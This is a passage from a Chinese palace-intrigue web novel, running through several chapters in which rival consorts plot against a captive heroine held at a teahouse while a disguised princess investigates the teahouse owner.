深深叹了口气,遂从石阶上缓缓走下,悄悄驻足来到院子里的池塘边坐下,若有所思地捉起衣袖来玩弄撩拨起一池春水里的池鱼来。 不经意地一抬头,忽隐隐斜见韶华阁的婢女从早市上刚回到府里,透过小门一进来便一副鬼鬼祟祟的样子,朝里面四处打量着望了望,手里不知道捏着个什么东西,像是信件一般正脚步匆匆地奔向梅汐媛的韶华阁方向,陆天骄稍一思量,心里顿生纳闷道: “那不是专门帮梅 第三百五十六章:一根绳上的蚂蚱 婢女一进到韶华阁来便恭敬地朝梅汐媛俯身行礼,将手里的密信奉上道:“王妃娘娘,四海茶庄那边今日一早有消息传来了!” 闻声,梅汐媛整个人竟顿时都怔愣住了,手中刚选出来的一串颇为满意的红宝石金镶玉蝶恋花流苏耳环“哗啦”一下掉在了身旁地板上,顿时现出斑斑裂迹来。 然她只迅速将目光移向了那串她颇为爱惜的耳饰上,却并未发出任何一言一行来。 见此,赵嬷嬷忙上前将信替其从婢女的手中一把接过,并吩咐其道:“你出去在门外守着,不许任何人进来打扰娘娘。” “是”似乎同样有些被吓到了的婢女听命,忙起身来疾步出去守门。 “王妃娘娘。”赵嬷嬷亲眼看到婢女确实已离开,方才回头过去将落在地上的一对耳饰轻轻捡拾起,回到梅汐媛身旁将信递到其面前。 梅汐媛呆呆地看着不知道是如何到了自己手里的密信,竟不由自主地双手颤抖了起来。 赵嬷嬷一边替其重新选配耳饰,瞥了她抖得厉害的那只握信的手一眼,却并未再开口说些什么? 有些事,倘若总是自己想不通,下不定决心,便永远都不能淋漓尽致地去努力过她自己想要的生活,争自己想要的明天,尤其是一个注定不平凡的女子,倾其一生所渴求的最至高无上又独一无二的荣耀。 片刻后,只见梅汐媛终于开始缓缓伸手抽出了里面的一纸信笺来将其打开。 眉间灵动闪耀着的红色美人痣衬托着那如幻如画般美好,宛若苍穹之间最闪亮的星辰般的一双炯炯美目,很快便扫完了洋洋洒洒落在信笺上的寥寥七个字:“事已成,准备交易!” 随之,那美人似是忽然间变得虚若无骨,手里那纸信笺轻飘飘地从其指缝里滑落到地上,如体内一缕幽幽魂魄忽被抽走一般。 赵嬷嬷一看到飘落在地的信笺上的清晰字迹,亦是心中顿时一震,正想开口说些什么,梅汐媛却伸手将其挡了回去,看似平静地说了句道:“赵嬷嬷,你也出去吧,让本王妃一个人好好静静。” 赵嬷嬷见此,嘴巴张了张最后又将其全部都噎了回去,也不再说什么,简单收拾了一下,便轻叹了口气走了出去,将门轻轻掩上。 一室寂静,唯有屋内丝丝缕缕的香烟袅袅与其做伴,正源源不断地散发出一股股令人陶醉的清新淡雅之气来,似是想要轻轻抚慰闺中美人伤痛至极却无人能够慰籍的心灵,然却浑然不知,终是有一股势不可挡的暴怒气息正在其体内冉冉升起。 只闻“哗啦”一声,紧接着忽然身后发出“噼里啪啦”一连串的剧烈响声来。 尚还迟疑地徜徉在屋外门口走廊上,并未敢真正离去的赵嬷嬷顿时停 下了脚步,心里一惊,心碎极了地怔道:“公主!” 而韶华阁屋内,只见一黄花梨镂空雕花的气派镜台上的几堆大大小小的梳妆匣里所收着的各式各样的名贵首饰,珍珠玛瑙、胭脂水粉、菱花镜、全都撒落了一地。 而梅汐媛则更早已是梨花带雨,愣愣的看着眼前地面上的一片狼藉,忽然对着自己的所作所为,声嘶力竭地连连吼问了三声道:“为什么?为什么?为什么?” “呜呜呜……”紧接着,便又无力的枕着胳膊趴在镜台上抖动着柔弱的双肩,伤心又无助的痛哭了起来。 而此时,一直躲在韶华阁暗处角落里,听着耳边传来的所有动静的陆天骄似是已将屋内所发生的一切猜了七、八分。 正在蹙眉沉思着,不经意间一抬头,忽见一名侍卫双手小心翼翼地捧着一个长形盒子疾步路过往承华殿方向走去。 “如此神神秘秘的,是什么东西?”陆天骄遂稍一思索,便急急扬起脸上的笑容来迈步上前将其拦住,柔声细语道:“这位大哥可是要去承华殿么?是不是翰哥哥回来了?” 陆天骄时时刻刻心里无不惦记着轩辕翰的一举一动,当然知道轩辕翰根本尚还未回到府里,只不过是随口乱邹了个理由,故意上来想要搭讪而已。其真正的目的,当然是他此时手里正捧着的这只神秘盒子咯。 侍卫闻声,忙止住步来看了她一眼,道:“回陆小姐的话,殿下尚还未回府呢!陆小姐找殿下可是有什么需要么?程将军临走前曾交待属下,陆小姐若是有什么需要的话,直接找张嬷嬷便可,她老人家在秦王府可是最好说话的了,而且……” 侍卫说的津津有味,可陆天骄却并未听他所言,而是时不时地盯着他手里的盒子,在心里暗自思量着:“这到底是什么东西?看起来并不大的样子,可他却如此珍视,以至于要小心翼翼地用双手捧着,难道是……” 想着想着,陆天骄忽闻耳边传来‘张嬷嬷’三个字,一想起这个多事又万恶的老奴才来,她灵光一闪,忽然轻抚向额头佯装头晕,小蛮腰亦顺势随之一扭,脚下一晃,便直接侧身倒向了那正滔滔不绝着的侍卫手中,其手里的盒子冷不防地刚好被打翻掉落在地上。 顿时间,盒盖被震开,一副画轴从里面跳了出来,‘嗖’地一下全部平平的展了开来呈现在她的眼前。 “对不起,对不起,我不是有意的!”见此,陆天骄忙一边朝其连连致歉,一边弯腰下去帮其捡拾 第三百五十七章:杀,亦或不杀? 怒目而视着半晌后,终是梅汐媛先退了下来。 只见她定了定神,继而一脸怒色又坦然地道:“哼...是有消息传来又如何?如今,除了韶华阁外,王府中其他地方皆都守卫森严,连只苍蝇都休想飞入,我们没有那幅只听过没见过的什么西秦守护者画像,又拿什么去四海茶庄与他交易?你的这盘棋,不见得有多高明?” 梅汐媛轻蔑地瞪了她一眼,甩了下衣袖,继而一边往韶华阁里回去,一边忿忿道:“不过一盘烂棋,本王妃不下也罢!我就不信,没有了他,本王妃就真的拿那个贱人没办法了,本王妃只不过是……” 梅汐媛终是欲言又止地收了声,而看到她似是已然有些想要放弃这个眼看着已经成功在即了的计划,陆天骄终也慢慢温和了下来,举步跟在了梅汐媛的身旁解释道: “姐姐,妹妹并没有其他意思。妹妹只是想说,正如姐姐之前所说的,我们姐妹只有齐心合力抗敌,才能赢得最后的胜利。否则,你我便是一荣俱荣,一损俱损。再说了,姐姐的筹码都已经付过了,又如姐姐所担心的‘蛮夷之邦,何来周正之人’。都怪妹妹一时大意遇人不淑,亦没有注意到城里所张贴的通缉令,若是早知道那竟是个亡命之徒,妹妹说什么也定不敢去招惹那样的人,如今,还牵连到了姐姐,真是罪大莫及。可想那拓跋泽未必会同意姐姐取消交易将筹码返还,到时候怕只是会落个人财两空的境地。黄金两万两,这可是一笔数目不小的筹码呀!如今,我们早已是箭在弦上,不得不发了。” “啪” 闻此,梅汐媛忽然顿足停了下来,猛地回头将一记响亮的耳光,冷不防狠狠的拍在了陆天骄的脸上,兀自朝其厉声呵斥道:“这一切还不都是被你给害的,竟然还敢在这里说风凉话。枉你还自称是殿下青梅竹马从小一起长大的小师妹,不还是和我一样在这座王府里,哪儿都进不去?什么消息都打听不到?本王妃真是后悔怎么会和你合作。废物,简直是废物。没有守护者画像,那个蛮夷之人怎么肯交出那个贱人来?本王妃的两万两黄金就这样打了水漂了,你说,你是不是故意的?” 陆天骄捂着半张小脸,惊恐的看着梅汐媛满是狰狞,愤怒的脸色。 顿时间,梅汐媛似是怒不可遏的都无法站立,几乎要背过气去了一般,身子不由得摇摇晃晃了两下,赵嬷嬷一见忙上前将其扶到了一旁的石凳上坐下,一边替其轻抚后背,一边劝慰道:“气大伤身,王妃娘娘可要当心自己的身子啊!陆小姐一向聪慧过人,想必一定不会让王妃娘娘输了这盘棋的。” 赵嬷嬷一边说着,一边朝陆天骄悄悄使了个眼色。陆天骄这才缓过 了神来掏出袖兜里的画像上前两步,将其递到了梅汐媛的面前,柔声道:“姐姐,对不起!” “这是什么?”梅汐媛瞟了一眼她递过来的一张宣纸,不解地道。 然还是将其接了过来展开,却是瞬间瞪大了双眼在其上面审视了起来:“这画像上的女子是何人?手如柔荑,肤如凝脂,领如蝤蛴,齿如瓠犀,螓首蛾眉,巧笑倩兮,美目盼兮,宛若是个落入凡尘的九天仙女一般。” 梅汐媛说着瞥了眼眼前站着的陆天骄,陆天骄朝其点了点头。 梅汐媛遂收回视线继续审视了会儿画像,顿时领悟:“听闻世人传言皆说,西秦守护者是个绝世美人,莫非这个女子便是……” “没错,正是。”陆天骄似是很快便已经忘记了脸上的疼痛,回应其道。 “你是从哪儿得来的这画像?”闻声,梅汐媛顿时惊诧地回看向了陆天骄泛红的脸,向其质问道。 “这个姐姐就不必多问了,妹妹自有方法排除万难,帮姐姐达成心愿。我们还是赶快合计合计接下来的事吧!付出了这么大的代价,这次,可决不能让那个贱蹄子再次逃脱了。”陆天骄狠狠道。 “嗯,看来,这次她果真是要难逃此劫了。好吧,既然都已准备好了,赵嬷嬷,马上派人去通知四海茶庄那边,就说我们这边都已准备妥当,随时可以过去交易。”梅汐媛当即吩咐赵嬷嬷道。 “是,老奴这就下去安排。” 赵嬷嬷退去后,梅汐媛忙站起身来,含笑走到陆天骄的身旁,一把拉起她的手来,另一手附上她通红的脸蛋,紧张的关切道:“妹妹莫要记恨姐姐,姐姐方才也是一时情急,这才失了方寸。刚才打哪儿了?还疼吗?走,姐姐屋里有我东宁国最好的伤药,姐姐这就去给你上药,用了药,马上就会好的。” 安抚好送走了陆天骄后,梅汐媛又亲自秘密交待赵嬷嬷:“赶快命人将此画临摹一份,速速送回国去交给父王。一定要小心,千万不要被人给发现了,否则后果将不堪设想。” …… 半夜时分,夜深人静的时候,轩辕翰踏着一片溶溶月色终于回到了西秦秦王府。 一跨下马来,便脚步匆匆的独自一人直朝着承华殿里奔去,陷入到一片沉沉的深思之中。 “为什么守护者后人会是你?真的是你吗?”这一路,轩辕翰一次又一次地在心里问自己。眼睛和脑海里全部都是关于俩人从相识起,由过去开始到现在的点点滴滴。 又或者,不仅如此,在她尚还未出生的时候,他们其实便早已经相遇了 第三百五十八章:你是不是被人给骗了? “醒了醒了,太好了,谢天谢地,姑娘总算是终于醒了!” 衣上云一睁开眼来,便见一位怀里抱着个虎头虎脑的小娃娃的大婶正在朝自己一脸欣喜的道。 “你是谁?这里又是什么地方?我怎么会在这里呢?”衣上云迷迷糊糊的环视了周围一眼,虽然隐隐觉得还是有些昏昏沉沉,身子也软绵绵的没有一丝力气,却还是挣扎着欲要起身来。 那妇人见了,急忙将怀里的小娃娃放在地上,腾出手去将她一把按了回去道:“姑娘都已经昏睡了三天三夜了,怎么会有力气起身呢?得先养些力气,缓一缓方才能行啊。” 说着,便踱步到一边的案几边去,很快端来了一碗温热的清粥在床边兀自坐了下来,又把衣上云的上身垫高,这才开始一勺一勺悉心喂食起来。 “刚才大婶说我已经昏迷了三天三夜了?怎么会这样?请问大婶,这究竟是什么地方?我又是如何来到这里的?”衣上云甚是不解的再一次扫了眼这周围陌生的环境道。 “姑娘还是趁热赶快将这些热粥服下吧!我只是这里的一个下人,什么都不知道?你问我也是白问。”妇人似是刻意在回避她的问题,无奈地劝说道。 衣上云顿觉情况有些严峻,稍一回想便接着又问:“那这里是什么地方?你家主人又在哪里?他是不是叫做易三少?亦或者龙烨?麻烦请你转告他们,就说我要见他们。” 妇人道:“什么易三少?龙烨?四海茶庄从来都没有过这两个人!” “什么?这里从来都没有过这两个人?怎么可能?他明明告诉我说他是易三少啊!”衣上云紧紧注视着妇人坚定的眼神,显然惊呆了。 妇人摇摇头,又深叹了口气道:“人家说什么你都相信吗?这年头,花言巧语的骗子多了去了。姑娘,你是不是被人给骗了?唉...不过,既已如此,你就是再急,也得先恢复体力,把身子养好!你看你现在就连说话的力气都没有,更别说想要弄清楚一件事亦或者下地走路了。” 舀起一勺白粥来一边往衣上云的嘴边送去,妇人方道:“这里是西秦国皇城里的四海茶庄,庄主三天前将你一带回来便就出去了,至今都尚还未归呢!只吩咐咱们一定要把你给看管好了,绝不允许任何人见你,你也休想走出这座院子。” 衣上云早已愣住,一边呆呆的吞入妇人喂食来的白粥,一边急急回想着,暗暗自语道:“四海茶庄,庄主,难道他真正的身份是四海茶庄的庄主。西秦国,我竟然真的回到西秦国了。殿下,那殿下呢?都已经这么多日子过去了,也不知道殿下他怎么样了?回去找不到我,殿下一定会很担心,很着急的,不行,殿下,殿下……” 一念至此,她忽然回过神来猛的一把捉住了妇人的手腕,道:“大婶,求求你,这里既然是西秦国皇城,那你一定知道秦王府在哪儿吧!麻烦大婶帮我带个口信给秦王殿下,请她来这里救我,我一定是被那个什么四海茶庄的庄主掳到这里来了。秦王殿下他还在等我,我不见了,他一定很着急,很担心。帮帮我,求你帮帮我,好不好?” 妇人这才陡然停下了手里的动作来深看了她一会儿,目光停留在她脸上有些瘆人的红色胎记上,似是对如此丑陋的一个女子,竟然会熟识尊贵的西秦秦王而感到格外吃惊。 然片刻后,却终是爱莫能助地素声道:“姑娘,你就不要白日做梦了,自从庄主将你带回来后,便往这个院子里调拨了二十几名护院看守,个个身怀绝技,力大如牛,就算你是插翅也难飞的。不仅如此,庄主还特意交代过,若是有人将你放走,亦或有一只苍蝇飞了进来,或者有任何消息从这个院子里传了出去,便会将在这个院子里的所有人全都一并通通处决。你说,这样有谁还敢帮你呢?” “什么?怎么会这样?你们庄主究竟是什么开头?他又为何要如此待我?”衣上云闻此,瞪大了眼睛惊诧极了。 “你还是省省力气乖乖在这里等着吧,相信庄主回来后一定会来见你的,到时候你有什么问题亲自问他岂不更好?你所问的这些都不是我们身为下人的所能了解到的,我是真的爱莫能助,我只知他神通广大,能让这座酒楼起死回生,能让咱们继续留在这里养家糊口而不至于流浪街头被饿死,其他的便一概不知了。” 妇人一边说话,一边继续喂食白粥给她。 不知不觉间,一碗白粥已然全都入腹,随之一股暖流灌入到了她的体内,意识亦已经渐渐恢复了清晰。 就在这时,妇人过去将角落里独自玩耍的小娃娃一把捞了起来抱好,捧着那只空碗兀自踱步跨出了内屋的门槛去。 妇人前脚刚一迈出外屋的门,岂料门口忽然现出了一身材魁梧的猛汉身影,伸手将门重重地合了起来并牢牢锁上。 听到门外传来有人锁门的声音,衣上云这才急急回过了神来,环视了一眼早已空荡荡的内屋,鞋袜都尚还未来得及穿,便打着赤脚踩着冰凉的地板急奔向外屋去,两只拳头顿时举起用力的砸在门板上朝外唤道:“开门,快开门,为什么要把我锁起来?放我出去,快放我出去!你们究竟是什么人?想要对我做什么?” 许久后,见得不到任何回应,想起妇人方才如雷贯耳的一句话“这样有谁还敢帮你?”,衣上云终是渐渐地放弃了挣扎。 &nb 第三百五十九章:本宫等你已多时了 就在两人一起陷入沉思之中缓缓前行时,身后忽然传来一声道:“秦王殿下,请留步!” 轩辕翰遂转身寻声觅去,身边的程良低声先道:“殿下,是皇后娘娘。” 宫内园中到处一片柳荫浓密,湖水清澄,万紫千红的浓浓春色。 风一吹,顿觉一阵神清气爽,轩辕翰蓦然回神一看清回廊那头正朝自己走来的端庄身影,遂朝其行礼道:“臣弟拜见皇嫂,皇嫂怎么会在这里?” 只见皇后似是有些行色匆匆地一近身过来,便一脸素容地朝其说道:“秦王不必多礼,本宫在此特意等你已有多时了。” “哦,皇嫂找臣弟可是有什么要事?”轩辕翰微抬了抬眼道。 “秦王殿下,大事不好了,公主不见了!”皇后遂压低了一些声音说道。 闻此,轩辕翰顿时抬起头来朝皇后一怔,似是也有些惊讶地道:“什么?玥儿不见了?这是怎么回事?是什么时候的事情?” 皇后眉头紧皱,侧头一想,一脸焦急的道:“就是今儿个一早发现的。” 说着,只见皇后眼睛朝后微微一斜,继而怒道:“该死的奴才,还不赶快将公主失踪之事前前后后的经过一五一十地仔细说与秦王殿下听?找不回公主来,你们就是死一千一万次亦弥补不了分毫。” 顿时,几名小太监上前来“扑通”一声跪在了轩辕翰面前深深埋下了头去,只有其中貌似领头的那名太监一跪下去便战战兢兢地禀告着道:“皇后娘娘饶命,秦王殿下饶命,公主殿下她实在是,不,是奴才们实在是拗不过公主,是公主执意要换上奴才们的宫衣偷溜出宫去的,奴才们实在是拿她没办法,奴才……” 见那几个小太监已然被皇后的话吓得不轻,语无伦次,颠三倒四,轩辕翰顿时冷声朝其怒喝道:“住嘴,到底是怎么回事?还不仔细说清楚了。” 听闻秦王一声大怒,那小太监方才定了定神,回忆着道:“事情是这个样子的,今儿个天还没亮,奴才正准备出宫前往四海茶庄采办补缺各宫苑所需的新茶和茶器,不想公主却突然驾临说她要亲自秘密前往四海茶庄里核实宫中所用茶的品质和价钱。还不许奴才将此事告知任何人,说如若不然,便要治奴才贪污受贿,中饱私囊之罪,奴才人微言轻,对于这欲加之罪,自是百口莫辩。不得已,只能应了她。” 皇后狠狠瞪了一眼那俯身趴在地上早已连头都不敢抬起来半分,整个单薄的身子更是发抖不止的几个小太监,继而扭过头来对轩辕翰认真道: “想必秦王亦已知晓,东宁国使臣不日便将会携所有书礼抵达我西秦细谈有关于两国和亲的具体事宜,本宫一大早本欲找公主来商量一些事情,这才发 现这个丫头竟然老毛病至今都还未改,整日里是变着法儿往宫外跑。平时总借口说要去王府里找皇叔,如今她怕是还不知你已回府,这才将主意又打到了这些下人奴才的身上。眼看着就要大婚在即了,这若是在宫外真出个什么事儿,那可怎么得了呢?” 轩辕翰此时总算是弄明白到底发生了什么?遂微微稍作回想,似是有些纳闷地道:“四海茶庄?程良,你可听说过这个地方?” 程良想了想,回道:“属下略有所闻,听说这个茶庄以前是个酒楼,却是生意越做越淡。如今也就短短个把月的时间,听闻却忽然摇身成为全西秦最大的茶商了。据说很是受各位达官显贵,尤其是许多名门闺秀的钟爱。似乎,好像王妃娘娘韶华阁那边所用的茶,也是这个四海茶庄里供的。” “哦?本王怎么不知道皇城里何时起竟然出了这等风云人物,那本王也便去亲自瞧瞧,看那位正主究竟是何方神圣?” 轩辕翰似是饶有兴致地说着,便回复皇后:“皇嫂放心吧!所幸发现的及时,玥儿也一向聪慧伶俐。天子脚下,想必应该不会有事的。有臣弟在,一定会将玥儿给皇嫂平安带回来的。” “如此,那就有劳秦王了。”皇后不甚感激地道。 轩辕翰微微颔首后正欲转身离去,灵光一闪,似是有些犹豫,却仍是忽然炸了句:“对了,皇兄命臣弟全力搜寻失踪了许久的守护者下落,可是所得的相关信息太少,不知关于西秦守护者,皇嫂了解有多少?” 闻此,皇后先是顿时一愣,没想到这么多年过去了,璟帝仍旧还是疑神疑鬼地坚信着守护者尚还在世的传言,继而回过神来对轩辕翰道:“关于守护者,本宫知道的其实也并不多,只是好像每一代守护者的身上天生都有一个凤凰印记,据说那是血族后人的专属印记。不知是真是假?本宫也是听人说的,不曾亲眼见过。” “凤凰印记…多谢皇嫂相告,那臣弟便就此告辞了,皇嫂保重!”轩辕翰暗自琢磨了一会儿后,与其道别。 “秦王万事小心,还请务必将玥儿尽快平安送回到宫中来,这若是让皇上知道了,一定不会轻饶了她的。”皇后再次叮咛道。 “臣弟明白,臣弟这就马上出宫去办。”轩辕翰一边答应着,一边转身疾步离去。 一出宫门,轩辕翰便问身旁的副将:“程良,方才皇后的话,你可都听到了?” 程良早已将皇后的话揣摩了 第三百六十章:有缘相遇便都是朋友 一进门,一楼店内大厅左右两旁所立着的清一色高大又气派的红木茶柜以及其上面所摆满着的琳琅满目各类高档茶叶和精致的茶具。还有那真人般大小的铜制茶农正在晾青的逼真模型,整个店内的自然古朴风格装饰顿时吸引了轩辕玥的注意。 今日的阳光格外的好,将那些泡在向阳处的一个个透明琉璃杯中的鲜活的茶叶照得透亮透亮的,不禁让人顿时心旷神怡。 忽然,轩辕玥的目光定到了茶柜上的一对梅花图案的茶盏上,兀自缓缓踱步朝其走了过去,将其小心翼翼地拿起捧在手心里爱不释手地赞叹道:“这对茶盏看起来还不错!” 显然,如今在她的眼里爱屋及乌,只要是与梅有关的事物,她总能让自己立刻对其打起十二分的兴趣来。 这时,掌柜的在一边喵了眼其手里的墨梅折扇,遂笑逐颜开的上前来笑吟吟的附和道:“这位公子的眼光真是不错,本店这对梅花幽鸟对盏独具匠心,用料极其讲究,可谓真正是全西秦国里对盏之中独一无二的珍品呢。依公子的气质,一看便是个爱茶之人。既是爱茶之人,没有一副好器,岂不辜负了茶香?” 掌柜的说着,将轩辕玥从头到脚近身仔仔细细地打量了一番。 “是还不错,可惜本公子总觉得似乎缺了点儿什么?美中不足,真是可惜了!” 听到这话里明显就是掌柜的在王婆卖瓜,自卖自夸。轩辕玥顿时将眉头一皱,渐渐卸去了脸上的笑意,遂缓缓将茶盏递到了掌柜的手中示意其自己看,转而露出许多的不满意道。 闻此,掌柜的顿显一脸尴尬之色,低头看着手中明明完美无瑕的对盏,自是完全摸不着头脑,他当然不知轩辕玥平日里在宫中所用的器具也都是极好的,左不过她此时的兴致全都只是在这对盏上面的图案意境而已。 轩辕玥说完,便再次打开了手里的墨梅折扇,一边轻摇着,一边转身悠哉悠哉地转而走向了对面茶叶的那头去瞧。 掌柜的再次细细看了看她手里正打开着的梅花折扇,又回过头来端详了会儿自己手中那对被嫌弃了的梅花幽鸟对盏,甚是纳闷不解地喃喃自语道:“这对盏与那折扇相比,不就少了轮圆月吗,难道这也不行?” 竟不知何时,锦兰亦已经悄悄跟在其身后走了进来。 锦兰自是亦平生第一次亲眼见到这般气派的茶庄。当她看到眼前五彩缤纷,一件比一件精美诱人的茶器时,满脸欣喜地终没有忍住伸出手去想要轻轻抚一抚其中一只翠绿的梨花玉瓷茶壶。 就在这时,从厅内一处忽地响起一声道:“别动!” 被这声音一惊,锦兰那只马上就要触到茶壶的手指尖不禁轻轻抖了一下,刚好碰倒了 其旁边的一只通透圆润,美仑美奂的红色玛瑙玉瓷品茗杯。 “咔嚓嚓!”顿时,一阵清脆的声音响起,只见那红色玛瑙玉瓷杯顿时便滑落到了锦兰脚下的地上。 掌柜的顿时惊讶地朝那地上的碎渣瞪大了眼睛,继而横眉竖眼,火冒三丈地疾步奔了过去一把紧紧拽住了早已惊愣住的锦兰细小的胳膊,脱口便是对她一通破口大骂: “你这个贱骨头是打哪儿溜进来的?我四海茶庄也是你这种寒酸粗陋又愚蠢的贱民可以随便进入的吗?你知道你方才打碎的这只品茗杯有多贵重么?就算是把你全家卖了都赔不起。” 锦兰闻声顿时回过神来,对其连连致歉道:“对不起对不起,我不是故意的,刚才我只是想看看而已,可被你的一声惊呼吓了一跳,这才将它不慎碰翻打碎了。” 掌柜的不由分说坚持地道:“休要颠倒是非黑白,听你这话的意思莫非这还怪我自己了不成?废话少说,赶紧赔钱,要是赔不起,我就马上抓你去见官。” 这一闹,旁边的几位名门小姐带着丫鬟们亦全都一起聚了过来将正在争执的两人团团围住,七嘴八舌,指指点点地议论了开来。 轩辕玥隐隐听到说话的人似是锦兰的声音,便转头拨开人群急急走上了前去将锦兰一把拽至自己的身旁护住,对那掌柜的气道:“真是狗眼看人低,他是本公子的随从,不就一只破杯子吗?有什么大不了的,陪你便是,你为何要这般当众羞辱他?” “好啊,那就陪呀!如此通透的红色玛瑙玉瓷品茗的市值最低是一百两,拿钱来吧!”看到旁边的贵小姐们忽然将矛头顿转到了他的身上,掌柜的自是不能失了面子,便毫不客气的摊开手来道。 “一百两,你……”闻此,锦兰长大了嘴巴大吃一惊,正欲说些什么,轩辕玥一把将其挡了回去。 “哼,不就是区区一百两么,陪你便是!本公...本公子一定会很快让四海茶庄好看!”轩辕玥忿忿不平地当着掌柜的面,当即在身上急急摸索了起来,然却不知囊中早已空空是也。 看到轩辕玥顿时露出的一片越来越深的囧态,掌柜的冷冷笑了一声,幸灾乐祸道:“怎么?出门没带钱?没带钱你还在这里装什么阔气?咱们整日里这样的人见得多了去了。来人,将这俩个狂妄之徒给我绑了,拉去见官。” “大胆,你们谁敢动本公子一根指头,试试看?”轩辕玥朝着正蠢蠢欲动要上前来的四名茶庄伙计大喝一声。 第三百六十一章:龙腾致雨 “只要的确不是俗物,本公子俱都全要。” “只要的确不是俗物,本公子俱都全要。” 拓跋泽听闻愣了一下,继而笑了笑,眼睛忽然落到了身旁的茶器柜上,遂过去从最上面的一层角落里取下了一只精美的盒子来,又请轩辕玥上楼落座在了一别致的雅间里,方才将手中的盒子轻轻打开,神秘地道:“公子请看这套茶具!” 轩辕玥坐着一边挥动着手里的折扇,似是漫不经心地朝着盒子里横了一眼,只见里面整整齐齐摆着九只茶盏,茶盏上个个都有龙形图案,于是轻蔑地笑了笑,道:“哼,不就是几只墨色龙纹茶盏吗,有什么稀奇?本公子府里,随便一套都比这个稀罕!” 拓跋泽依旧笑着,兀自在其身旁坐了下来:“公子有所不知,这套以最上等的胎料所制成的茶具便是灵空目前最为有名的‘龙腾致雨’。” 显然,一听名字倒是有些意思,轩辕玥便道:“本公子倒是耳有所闻,这名字气势恢宏倒是不错,只是不知何为‘龙腾致雨’?” 拓跋泽遂将里面的九只茶盏一应全都拿了出来,排成个一字摆在轩辕玥的面前:“公子请先仔细看看,这九只茶盏有何不同?” 轩辕玥虽心中鄙夷其人,却也因了这颇具名气的茶盏俯身下去认真看了起来。 这一俯身细看才发现,原来这九只茶盏上描绘的是九条形态各异的龙,或攀伏山岩之上,怒日圆睁;或游行于云空之中,雷电云雾掩映;或龙戏水珠、波涛汹涌;或雌雄相待,欲追欲逐;或架势搏斗等等,将龙的种种神态情势,刻画得生动异常。 这时,拓跋泽津津乐道:“这九只茶盏自右往左依次为: 第一龙,刚刚从岩穴中飞跃而出,头尾毕露,紧抓巨石,翘首以待。 第二龙,仅露头尾,与缭绕的雾气相容,双目斜视,回眸望向第一龙。 第三龙,从岩石上跃起,耳目炯炯正视前方,张牙舞爪,神态凌厉。 第四龙,被突如其来的巨浪顺势卷入漩涡,奋力挣扎,目光狰狞,左爪中的明珠如捏碎一般,姿态异常痛苦。 第五、第六龙,为一组,第五龙龙角已脱落,猛然腾起注视着疾驰的六龙,形成搏斗架势。 第七龙,在云海中嬉戏遨游,几乎被湮于其间。 第八龙,穿过云雾翱翔天空,尾巴若隐若现,一副傲慢姿态。 第九龙,则俯身于岩石之上,回望卷首。” 看到轩辕玥已然看的入了迷,拓跋泽又道:“公子请慢慢欣赏,在下下去亲自为公子备些本店的镇店之茶来品鉴品鉴。若是没有好茶作陪,再好的茶具亦都只不过是摆设而已,又如何龙腾致雨呢?” 出了雅间的门,一直跟随在其身旁的侍卫不解的道:“殿下,那人明显不像是来采办的,不知其究竟意欲何为?要不要属下将他……” 然拓跋泽却轻笑着双手负后驻足下来,回头朝门内漫不经心地斜了一眼,似是饶有兴致地道:“你难道看不出那俩个是女子吗?” “她们是女子?”侍卫惊讶地亦随其回头去再次撇了一眼雅间。 “哼,不急,本皇子倒是要看看她究竟是什么来头?到这里又打的是什么主意?”拓跋泽遂半眯起眼睛来不急不慢地说道,继而又附上了侍卫的耳畔,对其不知道说了些什么。 很快,煮好了一壶热气腾腾的岩间九龙,拓跋泽亲自捧着茶盘进去热情招待:“公子试试咱们这四海茶庄的镇店之宝,明曰‘九龙’,取自‘岩间九龙腾四海,茶中圣品味一流。” 看着拓跋泽以其颇为娴熟专业的茶道技艺分好茶汤的醉人过程,那靓丽的茶汤,气势磅礴如同泻雨般倾入到茶盏之中,顿时间每只盏上栩栩如生,形态各异的墨龙全都瞬间似是活了一般地在雨中飞腾起来,轩辕玥颇感叹为观止地赞叹道:“好一个龙腾致雨!” 遂一脸欣喜地看了看眼前九只茶盏中清一色的诱人汤色,细闻了闻拓跋泽亲手递上来的一盏茶香,方才轻抿了一口,却是瞬间忍不住对其连连赞道:“不愧为是龙腾致雨啊,这九龙茶与这九龙杯真是世间绝配。再看这茶汤色泽橙黄明亮,叶片红绿相间。稍微凑近一闻,竟还有一股香气馥郁的兰花气息。不错不错,的确尚还算得上是可以拿来镇店的一道茶。” “公子满意便好。”拓跋泽亦自顾端起其中的一盏茶来,微笑着谦虚道。 轩辕玥笑了笑,放下手里的茶盏来试探着问:“对了,本公子听闻你们四海茶庄颇受众多达官显贵们的亲睐,听说城东秦王府的秦王妃也是从四海茶庄这里采办的茶与茶器,对吗?” “是有这么回事儿,在下看公子气质不俗,不知是哪位大人府上的?想必也一定与秦王府甚为熟识吧!”拓跋泽倒是也坦然,毕竟,如今四海茶庄的名气已然越来越大,几乎无人不识,如若他有意存心遮掩,反倒是显他心中有鬼了。 轩辕玥预料之中,果然还是被其质疑到了她的身份。正欲开口道出早已准备好的说辞,遂灵光一闪,笑了笑转而又道: “呵呵,实不相瞒,本公子乃是来自东宁国的一商人,亦算是仰慕秦王的威名,并不怎么熟识。这么说,庄主与秦王和那由我东宁远嫁而来的秦王妃自是十分熟识了?” 拓跋泽看着正要入口的盏中的茶汤愣了一下,继而轻叹了口气,放下茶盏道:“真是惭愧至极,虽然做了秦王府的生意,却还真的未见过秦王府的主子们,平日里都是府里的婢女佣人们来茶庄采办。在下还正在思量着公子是不是与其熟识,若是如此,还望公子垂怜,能帮在下引荐一二,在下一定感激不尽。不过看来,又是无望了!” “哼,看来这四海茶庄与那秦王妃之间,果然有什么不可告人的秘密,竟然矢口否认认识那东宁公主。”轩辕玥表面上陪着笑脸一脸歉意,心里却暗暗道。 “她为何总是试着打探四海茶庄与秦王府的事?讲话明明全然一副地地道道的西秦国腔调,却还谎称自己是东宁国商人,莫非她与东宁国亦有什么关系?她到底想干什么?”坐在其对面的拓跋泽亦是不动声色地一边品茗,一边甚为百思不得其解着。 “咚咚咚” 就在这时,侍卫叩门走了进来,上前附在拓跋泽的耳边,神秘地不知对其耳语了一通什么。 只见拓跋泽笑着起身来,对轩辕玥客气地道:“真是抱歉,在下有些事要急着处理,公子请稍坐,有什么需要的尽管吩咐下人们,在下处理完要事后很快便回来。” “请自便”轩辕玥亦起身道。 “来人,好生伺候着这位公子,千万不要怠慢了。”交代好一切,拓跋泽方才走出了门,扬长离去。 拓跋泽前脚刚走,轩辕玥正在环视周围的一片淡雅环境,只见锦兰走向了茶庄伙计的身旁,不知对其说了什么三言两语。 